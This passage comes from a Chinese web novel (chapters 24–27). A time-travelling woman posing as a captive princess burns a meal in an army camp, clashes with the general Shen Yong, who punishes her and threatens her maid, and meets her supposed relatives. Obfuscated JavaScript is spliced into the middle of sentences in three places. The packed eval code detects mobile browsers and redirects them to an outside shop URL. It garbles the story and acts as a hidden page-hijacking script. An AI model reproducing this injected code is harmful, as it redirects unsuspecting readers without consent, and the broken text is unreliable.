唉,想她从前在昭月殿贴身伺候的时候,可不用干这些粗活。 人啊,真是际遇难料。 偷摸摸在帐外待着,听见沈雍离开的脚步声后,她心里提着的一口气终于放下。 还好,走了。 不然她这个身份低微的小侍女肯定没法安生休息。 又是为干了一天活可以好好睡觉而开心的一天! 那框脏衣服银画又拖了两天才洗。 清晨的露珠仍未消散,她早早地洗完衣服,回屋时却被空荡荡的营帐吓得魂飞魄散。 ——公主哪儿去了! 她本该遵守王上的命令时刻紧守在公主身边的,可公主这几日实在安静,整日都老老实实待在营帐里休息,她也就放松了警惕。 谁能想到,一个不留神居然就让她在眼皮子底下消失了? 都怪方才她洗衣服太入神,必定是水声盖过了公主的脚步声。 银画心里一阵后怕,刺骨凉意直冲大脑。 她从来都只想早些回家乡过安生日子,偏偏好不容易快回去又被抓了回来。 她不机灵、不圆滑,从前在宫里便是每日提着脑袋做事,如今又出这种岔子,恐怕真的要死无葬身之地了! 怎么办?直接去找王上汇报? ——不行,恐怕他会先一刀把她劈了。 银画在立刻死与苟一苟再死之间选择了后者。 还是先试着靠她自己把公主找回来吧...... 按捺下懊恼与慌张,她急忙往柳忆春常去的几个地方奔去,并在心里祈求不要碰到沈雍。 24. 昭昭 “这么做,你不怕受到责罚吗?” 柳忆春毫无形象地蹲在灶旁,朝一旁同样蹲在地上的娃娃脸少年问道。 他一边利落地生火,一边腼腆地答: “这会儿还早,不碍事的。” 紧接着,他将揣在怀里的油纸包拿出来,放到地上铺展开来,是各种各样的肉和菜。 地上那个简易小灶是他现挖的,此刻火已生好,铁釜、水壶等则散落在一旁。 柳忆春看着他行云流水的动作,不禁感叹,古代可真是人均手作达人啊,干活都能被他们干得赏心悦目,像她这样的手残党,怕是饿死了也没法在野外做出一顿热乎饭来。 不过感慨之余,她也没忘记此行的目的—— 她就不信她学不会做饭! 上次烧了伙食营的耻辱还未消散,这些日子每次去那里晃悠她都想要找机会一雪前耻。 可卫大娘防她防得紧,人家好歹也照顾了她那么长时间,她也不好让她太为难。 所幸,这个每次都笑眯眯与她搭话的小少年很有眼力见,这不就带她来“开小灶”了? 嘿嘿,这次就学一下熬粥,不涉及油那种危险物品,总不至于再失败了吧。 她柳忆春,从小到大就没有学不会的东西,堆起来比她人还高的练习册都刷完了,一个体育菜鸡吭哧吭哧练下来都在体考拿满分。 她就不信了,小小做饭而已,还能难倒她? 摊子已经铺陈开,柳忆春跃跃欲试。 “从现在开始,你只需要指导我,剩下的我来。” 少年依旧是那副笑眯眯的模样,点了点头便退到一旁。 柳忆春的眼里亮晶晶的,盛着初夏清晨的日光,刚升起的火苗一同闪动在她眼底。 “那么,我现在该做什么?” “先把粟米和水一起倒在铁釜里吧,然后把铁釜放到灶上。” “好!” 柳忆春撸了撸袖子,照着他的指令做起来。 出乎意料的是,这铁釜装满水后还蛮重的,她废了不少力气才把它弄到灶上去,而令她傻眼的是,她好不容易放上去,结果放歪了...... 少年想帮她扶正,却被她抬手制止。 “说了你不能动手了。” 少年的神色不复方才轻松,他没料到对于他们来说简单至极的操作,却能被她做得这么费劲。早知道,该叫她先把铁釜放灶上,再加水和粟米的...... 她不能容忍一丁点不完美,来回调整了好一会儿才罢休。重新退到一旁时,鼻尖额上已渗出点点晶亮的汗。 做完一切,柳忆春心满意足地对着少年笑,“搞定!” 看着这张笑得明艳至极的脸,少年的笑容又不自觉回到了脸上。 “柳夫人很厉害!” “这么久了,还不知道你的名字。” “您可以唤属下小五。” 柳忆春疑惑,“大名呢?” 小五依旧笑眯眯的,“属下没有大名,只隐约记得从前似乎排行第五,所以就叫小五了。” “嗯?那你的父母家人呢?” 小五偏头看她,“我没有家人,是四年前被王上顺手救回来的。” “你今年多大?” “应该有十四了。” 蹲久了腿有点麻,柳忆春从地上站了起来,“你也站起来看看。” 小五依言行动。 柳忆春打量了一下,嗯,身高和她差不多,身板看起来还有些单薄,果然还是个小少年。 她不禁皱了皱眉,“年纪还这么小,怎么就跑来参军了?” 小五笑答:“是我要赖在这里的。王上救了我,我得报恩才行。” 柳忆春轻笑,“你这么弱,不怕死吗?” 听到这,小五愣了一下,刚想反驳什么,一旁的铁釜忽然发出突兀的刺啦声。 “快!把柴往外拨些,火得小一些才行。” 柳忆春猛地看向不停往外吐水的铁釜,手忙脚乱地找东西去拨柴火,活像只晕头转向的蜜蜂。 手残党终归是指望不上的,最后还是小五眼疾手快拿起根稍粗的木棍,才终于将火拨弄得小了些。 经此突变,柳忆春的脸色已不似最初那般昂扬。 厨房,果然还是去不掉“危险”这个标签。 感觉到她有些泄气,小五连声安慰她:“小问题,火已经弄小了,我们继续......” 见他说着说着突然定住,柳忆春有些担忧,“怎么了?” 小五正拿长勺搅拌,在碰到底部一层硬块时,面上的笑有些挂不住了。 这种粟米遇水极易结在一起,熬之前得先搅匀才行,不然就会像现在这样在底部结块,又忘记和她交待了...... 唉,还是怪他说得不够细,公主这样十指不沾阳春水的人怎么可能知道这些细节呢? 小五抬头,与那双清澈见底的眼睛对视,“没事,我是说我们继续等就行了。” 柳忆春怎么察觉不出来他情绪的变化,有些泄气,怎么熬个粥也这么难?不应该是煮一煮就可以了的东西吗? “你别安慰我了,我是不是哪里没顾上?还能补救吗?” 小五不自在地轻咳一声,“我来。” “不,说好的你只负责指导的。” 柳忆春说着,劈手夺过了他手里的长勺,学着他方才的动作搅和了一下,也发现了问题所在。 “搅开就行,是不是?” 小五点头,“嗯。” 柳忆春不再多说,认真干起活来。 没见过这么不听话的米,她还真就不信了。 她拿着长勺搅弄,用力刮起糊底的粟米,又将结块按在勺背与釜壁之间按压,试图将结块的米重新按开。 这个长勺也是金属制的,一直放在沸水里搅弄,热度不一会儿就传导到了手柄上。 但柳忆春是一旦开始认真做一件事情什么都可以忘记的人,她对自己被烫得发红的手指半点没有察觉,也没注意到被她弄得越来越歪的铁釜,仍在细致地搅弄粟米粥。 直到她想调整一下姿势,指尖骤然传来一阵剧痛,才让她猛地回神。 不回神还不要紧,她这一回神手中按压米块的力道就失了控,竟直接将铁釜掀翻了去。 沸水浇向燃烧着的干柴,小灶瞬间升起一股黑糊糊的浓烟。 嗤啦—— 熏了柳忆春一脸。 然而更糟糕的是,她见着铁釜往一旁倒便下意识想扶,但伸出手了意识到,烫,不能用手碰。 一个迈步猛地止住,她的裙摆随着动作不小心扫到了灶膛里的火苗,好死不死烧了起来。 在柳忆春被浓烟熏得睁不开眼,来回用手扇时,小五率先注意到了她烧着的裙摆。 “柳夫人小心!别动!” 柳忆春完全没反应过来,他已经拿起一旁没用完的水往她裙摆泼去。 一阵凉意让她猛地回神,当真是,兵荒马乱。 ......莫不是她天生就和厨房犯冲? 柳忆春正泄气,忽地听见外围一阵骚动。 “启禀王上——找到了!” 有士兵率先发现他们,朝外扬声唤道。 而后,一阵杂乱的脚步声快速逼近,柳忆春一抬头就撞上了沈雍那双焦急中烧着怒火的眼。 嘶,怎么又是狼狈的时候被他抓个正着? 沈雍骇人的目光盯了她半晌,而后缓缓朝她身侧移去。 柳忆春怕他连累无辜,连忙一个跨步挡在了小五面前,脸上堆起了一个不甚走心的笑。 “王上,早呀。” “你也来这边散心啊?这么早找我有事吗?” 沈雍被迫重新将目光落到柳忆春身上,呵,这会儿知道称呼他王上了? 没有多说什么,他抬手一挥,身后的士兵便接连退了下去,只剩哆哆嗦嗦的银画。 柳忆春也发现了她,“银画,你怎么也在?” 银画都快哭出来了,见沈雍没拦,她快步扑到了柳忆春身边。 “公主啊,您怎么能抛下奴婢一个人乱走呢?找不到您,奴婢都快急死了!要不是刚好遇见了王上,遣了好多人来,恐怕一时半会找不到您。” 当然,中间沈雍那快要吃人的眼神,自然就略过不提了。 柳忆春温柔地摸摸她的头发,“怕什么,王上的军营里还能有危险不成?” 银画腹诽,对于您来说,最大的危险就是您自己啊...... 但她不敢说出来。 还好,公主这次没有想不开。 她都怕死了,怕找到公主的时候是一具冰冷的尸体,那样的话她的脑袋肯定也得跟着落地了。 沈雍仍立在一旁,周身的低气压分毫未改,正低头睥着主动从柳忆春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16626274|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后走出来朝他跪下的小五。 “私自带柳夫人外出,属下该罚。”小五恭声请罪。 柳忆春的注意力立即被吸引过去,连忙道:“我提出要他教我做饭的,要罚就罚我,你可别对小孩子那么苛刻啊。” 还知道他年纪尚轻,勾着半大少年为她做事,她就没有半点羞耻之心吗? 沈雍眉头压得更低,没有理会柳忆春,垂首看向小五,“二十军棍。” “属下领罚,谢王上开恩!” 说罢,他利落起身,离开时,不露痕迹地朝柳忆春抛了个安抚的眼神。 “......” 有点不爽。 小五主动带她来这里的没错,但她只是做个饭而已,有必要这么大阵仗吗? 想着,她快步走到沈雍面前,“凭什么啊?” “你要是气我又浪费了食物,我可以和上次一样去摘菜捡柴啊,为什么要责罚其他人?” 沈雍垂眸看向身前气鼓鼓的人。 初夏的天,清晨还有些冷,她却穿得单薄,头发也随意束着,散在一侧胸前。 颊上雪白的肌肤有些泛红,还沾了不少黑灰,裙角湿漉漉的,都是烧焦的痕迹。 配上她这不服气的表情,活像只冬日里不知死活钻进灶膛取暖却被反烧了毛发的花猫。 他沉声开口,“军中升黑烟,依军法当斩,谁准你这么胡闹的?” 柳忆春瞬间反应过来,兴师问罪的表情僵在脸上。 空气有一瞬间的沉滞,再开口时她的气势也弱了下去,“那......现在怎么办?” 她可不想连累无辜的人命。 见她如此,沈雍心里倏地一松,还算是个拎得清的,没有在这种正事上与他无理取闹。 但接连发生的事情着实让他憋闷,于是他最终也没有给她好脸色,也没告诉她,大军驻扎此地已久,此地偏僻,就算暴露了踪迹也无所谓。 扫了眼地上的一片狼藉,沈雍沉声对她做出了最终审判。 “既然你整天没事做净想着闯祸,以后自己的衣物自己来洗。” 说着,他状似不经意地瞥了眼缩在后面的银画,惹得银画又一阵哆嗦,险些要跪下去。 目光收回,看向柳忆春怔愣的脸,他继续加码。 “若还不够消磨时间,本王的也都归你。不是喜欢抢我的衣服吗?正好,这下都是你的了。” “???” 柳忆春满头问号,他自己听听这是人话吗? 让娇生惯养的公主洗双倍衣服? 她虽然不是真的公主,但也从小生活在一个有洗衣机的科技高度发展的社会里。 让她整天洗衣服,怎么不叫她去死了算了! 她震惊的表情很好地取悦了沈雍,他的面色终于缓和了些,静静等她示弱。 但很快,柳忆春反应了过来,嗤笑一声,勾唇说出恶毒的话。 “在你军营里燃黑烟怎么了,我和你是一伙的吗?” “还罚我洗衣服,沈雍你不会还没睡醒吧?” 接着,柳忆春上前一步,额头抵在他肩头,语气十足地轻佻:“洗衣服不可能,洗澡我倒可以考虑帮你哦。”十分清楚怎么能气死他。 果然,沈雍愣住。 似在消化她话语里的信息,他的面上逐渐泛起可疑的红,也不知是被气的,还是被羞的。 他的表情也很好地取悦了柳忆春,趁他还未反应过来,她心情很好地昂着头颅迈步与他擦身而过。 竟直接把他撞退了两步。 好一会儿,沈雍咬牙切齿地叫住嚣张的她—— “柳、昭、昭,你给我站住!” 天底下哪有这样蛮横轻浮的女子? 他生来不说高贵,好歹也是镇国公世子,从来没人敢这样下他脸子,更没人敢这样轻薄他,而这人居然还不止一次! 他自认为喜怒不形于色的沉稳脾性,在她这里简直被破了个彻底。 偏偏她还无所顾忌,甚至巴不得他把她弄死。 他并不喜欢如此被她玩弄,也不喜欢自己的情绪总因他人而失控。 ——当真还要继续留着她? 看着前方依旧对他的命令恍若未闻的纤细身影,沈雍感觉脑子里似有火山喷薄,飞溅的岩浆灼烧得他脑瓜子生疼。 终于,他忍不住上前一把将她扛在肩上,快步往主帐方向走去。 25. 勾人 伙食营在主帐的西侧,小五带柳忆春去的地方在伙食营以西的一片空地上,那里正巧处于地势落差间的盲区,若不是被柳忆春弄起了一阵黑烟,还真不好找到。 此刻,日光初升,沈雍扛着柳忆春一路向东,影子被拉得很长。 银画在后面远远地跟着,努力降低存在感,偶尔抬眼看向试图挣扎却毫无反抗之力的公主,心里不由得为她祈祷。 回到主帐片区的空地,沈雍径直将她从肩上扔下来,又脸色阴沉地扬声朝外吩咐: “将胡家人带来。” 守卫拱手踏步,“是!” 柳忆春被他粗鲁的动作弄得措手不及,还没来得及反应就摔在了地上,方才被烫红的指尖不可避免地被二次伤害,疼得她直皱眉。 “你干什么!” 沈雍居高临下地俯视着她,眉头皱得更紧,眸中烧着的怒火之下,真切地浮出了一丝疑惑。 为什么,明明次次都是她挑衅在先,却偏偏都能做摆出一副他对她做了天大恶事的样子? 凭什么,他就要一次又一次地纵容她挑战自己的底线? 沈雍缓步逼近,怒火比以往任何一次都要难以压制。 而柳忆春瘫坐在地上,目光追随着他的脸,清澈的双目随着一点点仰视映照出愈发敞亮的碧云天来。 多么无辜、多么美丽的一张脸。 沈雍在这一刻突然无比清楚地意识到,如她这般美貌动人又水性杨花的女人,留在军中必然是个祸害。 今日勾他,明日又可以去勾别的男人,迟早会惹出乱子。 前些日子怎么就被她迷了心窍,甚至开始怜惜她了呢? 他仍有大业要成,不能因她而断送...... 银画一直在一旁看着,早已被这阵仗吓得瑟瑟发抖。 公主,也太大胆了吧,谁敢这样故意激怒王上啊? 她胆子小,可公主一向待她不差,虽然最近越来越看不懂公主了,但不妨碍她希望公主活得好好的,尤其是已经受了那么多苦的情况下。 眼看着沈雍抽出剑抵在公主的脖颈边,公主却半点没有要躲的意思,银画的心瞬间被揪紧。 也许是方才沈雍得知柳忆春不见时并未一刀把她砍了,银画的胆子大了些,没再犹豫,视死如归般朝他猛地跪下。 “王上!求您饶公主一命!都怪奴婢没有看好公主,您要罚就罚奴婢吧!” 柳忆春原本淡然与沈雍对视的眼瞬间涌上了些不耐烦,不顾颈间的长剑偏头朝身侧的银画看去。 这小姑娘今天抽什么疯?不是胆子最小了吗。 “起来,出去。” 她的声音冷得像冰,银画没敢看她,却也大胆地没理她,始终可怜兮兮地望向沈雍。 柳忆春见她忤逆,也不多劝,“这么想死,那就陪我一起死好了。” 接着,她面无表情地对沈雍说道:“我懒得动,你自己来挥剑吧。” 沈雍瞧着主仆情深的二人若有所思,没有说话。 很快,一阵嘈杂的脚步声传来,是胡家的人来了。 今晨天尚未亮,便传来了胡家人来求见的消息。 懿春公主的母妃是胡贵嫔,胡家正是胡贵嫔的娘家,也是公主的外家。 来人一老一壮,自称懿春公主的外祖父和舅父,因前两日的宫宴上瞧见了公主,才知道她还好好活着,因此特来找他表忠心、诉亲情。 沈雍倒是不知公主原先与他们的关系如何,但他两日前才放出去的饵,这么快就有人顺着咬,他自然要看看胡家人葫芦里究竟卖的什么药。 方才扛着柳忆春回来的路上他其实冷静了一些,这么便宜地让她死太可惜了,毕竟真正的鱼还没钓来。 而此刻,正是一个好机会,可以先来探一探胡家父子的底。 胡峯与自己的长子胡越方被士兵领进主帐时,被眼前的景象吓了一跳。 怎么前两日还恩宠无比,今日就这般被长剑相向了? 二人立马朝沈雍跪了下去,胡峯一开口便斟酌着温言劝告: “王上英明,可是昭昭惹您不快了?还请您息怒,她一向是个温顺无比的孩子,可别有什么误会。” 又是“昭昭”,她可不是那什么“柳昭昭”,柳忆春很不耐烦地偏头看向新来的两个人,神色淡漠。 胡家二人自然也注意到了她冰冷的神色,顿时一愣。 沈雍适时开口:“温顺无比?” 胡峯浑身一颤,明显察觉出了些不对劲,硬着头皮补充道: “是呀,老臣虽与昭昭相处不多,但她说话永远都是温声细语的,也从不摆公主的架子,对所有人都是温和有礼的,就和她娘亲一样。” 听到这里,柳忆春忽地明白了些与这俩人的关系,不由分开口问道: “公主的娘亲是你的谁?” 胡峯乍听此问,惊得白花花的胡子不住颤抖,难怪那夜宫宴对他的眼色不闻不问,公主似乎不大对劲。 “昭昭啊,你娘亲是我最宠爱的小女儿啊,你......” 有驸马还不够,又来两个公主身边的人,柳忆春有些烦躁,微蹙着眉直视他。 “我不是柳昭昭,也不认识你。” 胡峯哑口无言,胡越方一直观察着她,此刻也说不出话来。 眼前的女人,虽与公主长相无二,脾性却似乎真的不太一样了。 懿春公主在大家看来“温顺无比”,其实她根本就不怎么说话,见了人也只是稍微笑笑示意,从未与他们有过什么交谈,连闲聊都无。 更别说如现在这般,剑抵在脖子上了还置若罔闻地淡声呛人。 沈雍将剑锋离她近了些,适时对胡家二人开口: “可看到了?她惯爱惹我不痛快,你们既然说愿意为本王效劳,万死不辞,两位胡爱卿看看,打算如何为本王分忧解难?” 胡峯内心打鼓,万万没想到今日面临的会是这样的场面,原本以为以外孙女在沈雍那里的受宠程度,他此行必将得到沈雍的礼待才对。 结果,先是被冷落在大帐中,后是被请过来直面这般冲突。 他还指望着借她的力在官场上更进一步呢,没想到,反倒有被她搭进去的风险。 此刻,胡峯心里说不后悔是假的。 但事已至此,他不能退缩,于是只好硬着头皮问道: “公,柳夫人这是怎么了?性情似乎变了......”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632110|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 没有人回答他,只有落在他身上来自沈雍和柳忆春一高一低两道冷冰冰的目光,他的大脑飞速运转,继续说道: “可是受了刺激伤了心性?老臣斗胆,请求王上允准与昭昭多多见面,也许在亲人的陪伴下,柳夫人能恢复些以往的性情也未可知。” 沈雍双眼微眯,没有说话。 柳忆春则又想开口反驳,谁想和这老头多多见面啊! 然而不待她开口,沈雍便将剑锋侧过来往她颊上轻拍一下,发出不大不小一声脆响。 柳忆春的怒火立刻转向沈雍,不顾脸侧的剑锋直接站起来对沈雍怒目而视,“你干什么!” 胡峯与胡越方大骇,沈雍却见怪不怪地收起剑、抬手捂住她的嘴,末了还顺手将她揽入怀中。 “她的确是受了点刺激,记忆有缺。南下颇需要些时日,届时有劳两位爱卿多来陪她说说话。” 胡峯心里一喜,面上却不显,连忙拱手朝沈雍道: “多谢王上!老臣会多与柳夫人讲些从前的事,定要助她早日恢复记忆,改改这直率的脾气。王上宽宏大量,若昭昭有惹您不快,我这个长辈先向您赔不是了,还求别与这孩子一般计较。” 说罢,他无比慈爱地朝柳忆春一笑,又拖着苍老的身体朝沈雍颤巍巍行一大礼。 二人皆不置可否,而见目的已达到,胡家人很快便告退了。 坐上回城的马车,胡越方先朝胡峯开口:“父亲此番行动过于冒险,何故要这般往他面前凑?” 胡峯沉吟一笑,“别担心,这可是胡家的机会。” 想起书房中突然收到的那封来自楚家的信,再想起方才所见单纯直接的公主,胡峯略一盘算,不由得喜上心头。 胡越方见状,也不好多说什么,微叹一口气,试探着问道:“妹妹的事,父亲后续打算如何安排?” 这么久了都没有找到尸体,也许真的再也找不到她了。 果然,胡峯面色瞬间变得沉痛,无不惋惜地说:“这么久了,恐怕就算找到尸体也分辨不出来了,眼下最要紧的事情,是两日后与沈军一同南下,兰娘的事情,不若就此作罢吧......” 胡越方本想说,也许妹妹根本没死,所以才一直找不到尸体。 可他总觉得那晚的宫宴之后,父亲的注意力便更多地转移到了懿春公主身上,此刻就算他再开口坚持,也不会有别的结果。 于是他没多说什么,低声应是,心里却盘算着继续找下去。 - 胡家二人走后,沈雍松开捂住柳忆春嘴巴的手,主帐陷入一阵奇怪的沉默。 倒是柳忆春先开口,“银画,你回去吧,他不会杀我。” 银画以为柳忆春在逞强,一边抖一边走得离她更近,“公,公,公主,奴婢不怕死!” 柳忆春瞧她这怂样,很想翻白眼,最终却化为了唇边无奈的笑。 最终,柳忆春揽住沈雍的胳膊往内走,“那我们进去。” 沈雍虽颇为嫌弃地一把甩开了她的手,身子却很听话地与她同行。 银画的表情瞬间僵在脸上:? 这俩人之间的氛围,怎么总是说变就变啊?她真是一点也看不懂...... 26. 轻薄 走进帐内,沈雍扬手将长剑扔回武器架上,颇有些嘲讽地开口问她: “你怎知我不会杀你?” 柳忆春懒散地落座于案前,大剌剌地霸占了他往常的位置。 “我应该还有用?” 沈雍轻笑,她倒是聪明。 柳忆春兴致盎然:“说说看,打算让我如何对待那两个人?” 来到这里后,她从没觉得时间如此充裕过。 从前总是抱怨没有什么属于自己的时间,现在有了一大把闲暇时间,身体也摆脱了从前那种低电量模式,却总是陷入了深深的无聊之中。 好不容易找到做饭这个兴趣呢,结果又毫无天赋,熬个粥都能整出这一连串的变故来。 军营重地,也的确不能由着她随便闹腾,她一点也不想无辜的生命因她而消逝。 嘿,正愁着没事情干,今天事情就找上来了! 柳忆春很兴奋。 可沈雍只是瞥了她一眼,很敷衍地回答她的问题。 “你想怎么对他们,就怎么对他们。” “就这?” 沈雍懒得再答,甩给她一个不耐烦的表情,转而坐到她身前,神色严肃地开启了另一个话题。 “你虽然有用,但很多事情并不是非你不可,若你再这样几次三番不知死活地轻薄我,或是勾引军中别的男人,我不会放过你。” 柳忆春的神色渐渐变得匪夷所思,沈雍却继续警告道: “到时候,可就不是一刀给你个痛快这么简单的事情了。我有的是办法让你求生不得求死不能。” 沈雍说不恼火是假的,决定利用她引出余孽那时,她仍算乖巧本分,虽行事难测,可全不似现在这般对他言行轻佻。 偏偏在他已带她完成计划第一步之后,她开始对他越来越大胆。 不知道的,还以为她知晓了他的秘密,在借机报复他。 可当初那件事情,除了他和范卢风,世上应该不会有第三个人知道了。 她很聪明,身份又特殊,且还有些未解开的谜团,若能好好活着,为他所用,顺便再让他查清当年的一些细节,那是再好不过的。 但这一切的前提是——她恪守本分,不招惹他,也不在他的军营里生事端。 柳忆春的脸色却已经完全变了,再开口时语气和她的神色一样冷。 “我轻薄你?不就亲了你一口,调侃你两句吗?” “可沈雍你做了什么呢?你先是拿东西捅我,后是看遍我全身,也许还摸遍了我全身,哦,还拉着我一起睡觉,这些事情我说什么了吗!到头来你却来控诉我轻薄了你,你自己觉得像话吗!” 柳忆春越说越气,开始指着他鼻子骂:“枉我还觉得你生气的样子格外好看,真是我瞎了眼了,你这个人的嘴脸真是越来越恶心!” 沈雍眉头越皱越紧,明明是她几次三番挑衅他在先,怎么现在反倒又变成他的无礼了? 他忍不住抓住她指着自己的手,却被她一把甩开,重新指向他。 “还有,你不知道公主长得有多好看吗?随便往外一站,哪个男人的目光不被吸引?让我不要勾引男人,那你干脆别带我回军营啊!” “得了便宜还卖乖,一有不顺心的事情就指责别人,沈雍你是不是男人啊?最基本的担当呢?你自己被公主吸引了,责任也全在公主是吗?全天下......唔......” 沈雍被骂得狗血淋头,终是忍不住一把捂住了她的嘴,力道之大,直接将她扑倒在了坐席上。 温顺乖巧? 温顺乖巧才怪!他看她分明就是牙尖嘴利! “柳,昭,昭,你!” 沈雍呼吸粗重,咬牙切齿,想骂回去,却发现自己脑子里来来回回都是诸如“恬不知耻”、“哪有你这样的女人”这种车轱辘话,这对她来说毫无杀伤力。 他怎么会被一个女人气得七窍生烟?还毫无反击之力! 沈雍心里的那口气越憋越大,怎么也找不到出口。 真恨不得把她杀了才好! 可是沈雍心里却十分清楚,这样的气,非她对他服软认错不能解。杀人,只有一时之快,诛心,才是上策。 说来也真是可笑。 明明她是他的俘虏,生杀夺予都该在于他才对,怎么她不仅不是向他跪地求饶的那个,就连留她一命都是他上赶着去想借口? 沈雍气不顺,掌下的力道越来越大,柳忆春没一会儿就开始呼吸不畅,奋力挣扎。 重重一拳砸向他的后背,沈雍猛地回神,见她涨红的脸,连忙把手移开。 一时间,室内只剩二人粗重的呼吸声。 身体交叠的时间长了,热度堆叠,二人都开始发汗,气氛变得诡异又暧昧。 再开口时,沈雍的语气已是怒极后的冷静。 “我知道你什么都不怕,也什么都不在意,那让银画那丫头替你受罚如何?” “她对你看守不利,本就该罚,如今你又这般激怒于我,干脆连你这份一起受了。” 他凑近了些,说话的气流能喷薄到柳忆春的脸上,“乱棍打死,如何?” 柳忆春才消下去些许的怒火复又点燃,“迁怒他人,你这王上的品性也不过如此!” 沈雍见她展现出愤怒,而不是冷笑着嘲讽,心里落定了些许,继续激她。 “也是,小奴婢直接杀掉,太便宜她也太便宜你了,不如让她试试军中的刑罚?” “拔舌头?拔指甲?”他敛下眉眼故作沉吟,“不行,她还得伺候你呢,不如用铁钩穿她的琵琶骨,虽然痛些,但可以继续伺候你,穿上衣服也不有碍观瞻。” “别说了!” 柳忆春听不下去了,她一个现代人哪里接触过这些血淋淋的刑罚。 想起那个兔子一般胆小的姑娘,无意间与她对视一眼都要吓得跳起来,偏还总是继续故作镇定地问她有什么吩咐。要她受这些刑,恐怕还没真正动手她就先把自己吓死了。 而这人行事狠辣,不知杀了多少人,她毫不怀疑他真的可以对银画如此动手。 毕竟在这个时代,上位者要处置一个下位者,可半点没有人权这种东西可以与他辩论。 柳忆春与银画相处的日子不长,感情不见得多深,可她也不想她因为自己而飞来横祸。 而且说起来,今日虽是沈雍惹她不快在先,可她骂他的时候也确实完全没有顾忌,这人性子内敛,根本骂不过她,气个半死也正常。 柳忆春冷静了些。 这么来看,她也不介意接受他的“责罚”让他出一口气。 她毕竟还是个受过九年制义 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640179|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 务教务讲文明讲道理的新时代女性,不和这个老古董一般计较,让他免于被气死,就当是救人一命胜造七级浮屠了。 “说吧,你要怎么罚我?” 柳忆春颇有些不耐烦,心里想着,他要是太过分,她就先忍辱负重,再将银画遣走,找机会暗杀了他之后,再自杀。 沈雍方才见她神色变换就知道这招能制住她,毕竟,她是一个浪费了伙食营食材都会甘愿受罚去摘野菜的人,而那件事情影响的还只是些与她素不相识的士兵。 她这个人,看起来娇滴滴的,却不怕苦也不怕痛,更不怕死,很难真的拿捏住。然而一旦涉及他人,她却半点都不愿亏欠,更何况是与她关系稍微近一些的银画。 他心口一松,语气冷淡地答她:“对你的要求与责罚,我方才都已说过了。” 柳忆春拨开他按住自己的手,狐疑地坐起身来,“啊?” 刚才骂人的时候CPU都被占满了,要不您老人家再说说? 她的表情过于可爱,沈雍的神色终于和缓了些。 未再重复,他取下一旁衣架上的衣物,连带着床榻上的被褥枕头兜头甩向她。 还嫌不够,他走去另外几个他根本不怎么用的小帐,抱出厚厚一叠被褥,回到主帐一齐甩向柳忆春。 “限你午时之前,洗干净。” 柳忆春:“......” 她感觉自己现在的表情估计和死鱼差不多。 “如果没完成呢?” 沈雍冷笑,“你说呢?” 说罢,他很贴心地为她掀开通往主帐后室的门帘,是他平日里盥洗的地方。 “请。” 柳忆春简直要气笑了,抱着身上的厚厚一摞衣物愤愤地往后走去。 然而更气的是,她瞅准了时机要“不经意”撞他一下,却被他灵巧躲开,反倒害得她差点跌倒。 她想回头瞪他一眼,怀里摇摇欲坠的衣物却不允许——要是掉地上了,她可得洗更脏的衣服。 好气! 柳忆春最终只能将怒气重重地发泄在脚下。 听着怒气腾腾的脚步声,沈雍放下门帘,终于放任努力压抑的唇角自由舒展,露出了一个无声的笑。 果然,能让她方才听到这个责罚就一改脸色对他破口大骂的,绝对是她痛恨至极的东西。 想必洗衣服这件事情对于娇生惯养的公主来说,痛苦程度不亚于受到□□上的刑罚。 想到这,他心口堵了一上午的气终于消散了去。 管它什么惩罚,能让她感到痛苦的就是好惩罚。 沈雍落座于桌案前处理公务,柳忆春则在后方生无可恋地对着一堆东西傻眼,心头无比想念银画。 要不是沈雍这个狗东西鸡贼地把她拘在了这里,这个惩罚对她来说根本不是惩罚。 银画啊银画,我为你实在承受了太多...... 最终,秉持着她本人的优良品德,柳忆春慢慢开始梳理这堆东西。 不就洗衣服嘛,有什么难的?她就不信他会一寸寸检查有没有搓干净。 整理着,衣物里掉出了一对硬硬的东西,看起来像是一对护腕,柳忆春想都没想就随手丢在了角落。 这东西不算衣服,爱哪儿待着去哪儿待着去,不要影响她的工作效率! 27. 保护 第二日,整个军营苏醒得比往日更早,拔营启程之时,晨光只怯怯地氤氲开天幕的一角。 主要的辎重车队在京城补给得满满当当,已率先往南出发。 游骑营的人马担任开道以及侦查的职责,分布在主力军队的前侧与外围。 往后是骑兵,再往后是数量庞大的步兵,最后面则是那些被邀请一同南下的官员们。 柳忆春和沈雍则一同坐在还算宽敞的马车之中,被骑兵护在中间。 车架开始行驶时,斜斜的朝阳已透入车帘,而车内两人似乎都没有开口的意愿。 马车行驶的速度不算快,在现代习惯了高铁这种东西的柳忆春甚至觉得像在坐摇摇车。但想着后面一长串乌泱泱疾走的步兵,她又觉得自己这么想有些刻薄。 